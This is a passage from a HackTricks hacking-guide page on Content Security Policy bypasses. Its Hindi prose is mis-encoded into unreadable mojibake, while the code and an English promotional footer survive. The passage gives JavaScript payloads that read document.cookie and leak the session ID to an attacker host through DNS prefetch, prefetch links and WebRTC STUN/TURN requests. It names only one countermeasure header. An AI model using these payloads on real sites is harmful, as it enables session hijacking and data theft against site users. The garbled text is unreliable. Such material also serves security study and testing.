рдкреГрд╖реНрдареЛрдВ рдХреЛ рддреЗрдЬреА рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЛ рдЖрдИрдкреА рдкрддреЗ рдореЗрдВ рдкреВрд░реНрд╡-рд╕рдорд╛рдзрд╛рди рдХрд░рдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдмрд╛рдж рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдХреИрд╢ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред
рдЖрдк рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдПрдХ рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЛ рдкреВрд░реНрд╡-рд╕рдорд╛рдзрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреЗ рд╣реИрдВ: <link rel="dns-prefetch" href="something.com">
рдЖрдк рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ DNS рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
рдПрдХ рдФрд░ рддрд░реАрдХрд╛:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
рдЗрд╕рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ HTTP рд╣реЗрдбрд░ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ:
X-DNS-Prefetch-Control: off
{% hint style="info" %} рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ рддрдХрдиреАрдХ рд╣реЗрдбрд▓реЗрд╕ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ (рдмреЙрдЯреНрд╕) рдореЗрдВ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддреА рд╣реИред {% endhint %}
WebRTC
рдХрдИ рдкреГрд╖реНрдареЛрдВ рдкрд░ рдЖрдк рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ WebRTC CSP рдХреА connect-src
рдиреАрддрд┐ рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред
рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЖрдк DNS рдЕрдиреБрд░реЛрдз рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдХреЛрдб рдХреЛ рджреЗрдЦреЗрдВ:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
рдПрдХ рдФрд░ рд╡рд┐рдХрд▓реНрдк:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
Checking CSP Policies Online
Automatically creating CSP
https://csper.io/docs/generating-content-security-policy
References
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
тАЛ
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
рд╣реИрдХрд┐рдВрдЧ рдХреА рд░реЛрдорд╛рдВрдЪрдХ рдФрд░ рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝реЗрдВ
Real-Time Hack News
рддреЗрдЬ рдЧрддрд┐ рд╡рд╛рд▓реА рд╣реИрдХрд┐рдВрдЧ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рд╛рде рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдХреА рд╕рдорд╛рдЪрд╛рд░ рдФрд░ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрджреНрдпрддрд┐рдд рд░рд╣реЗрдВ
Latest Announcements
рдирд╡реАрдирддрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд▓реЙрдиреНрдЪ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ
Join us on Discord and start collaborating with top hackers today!
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.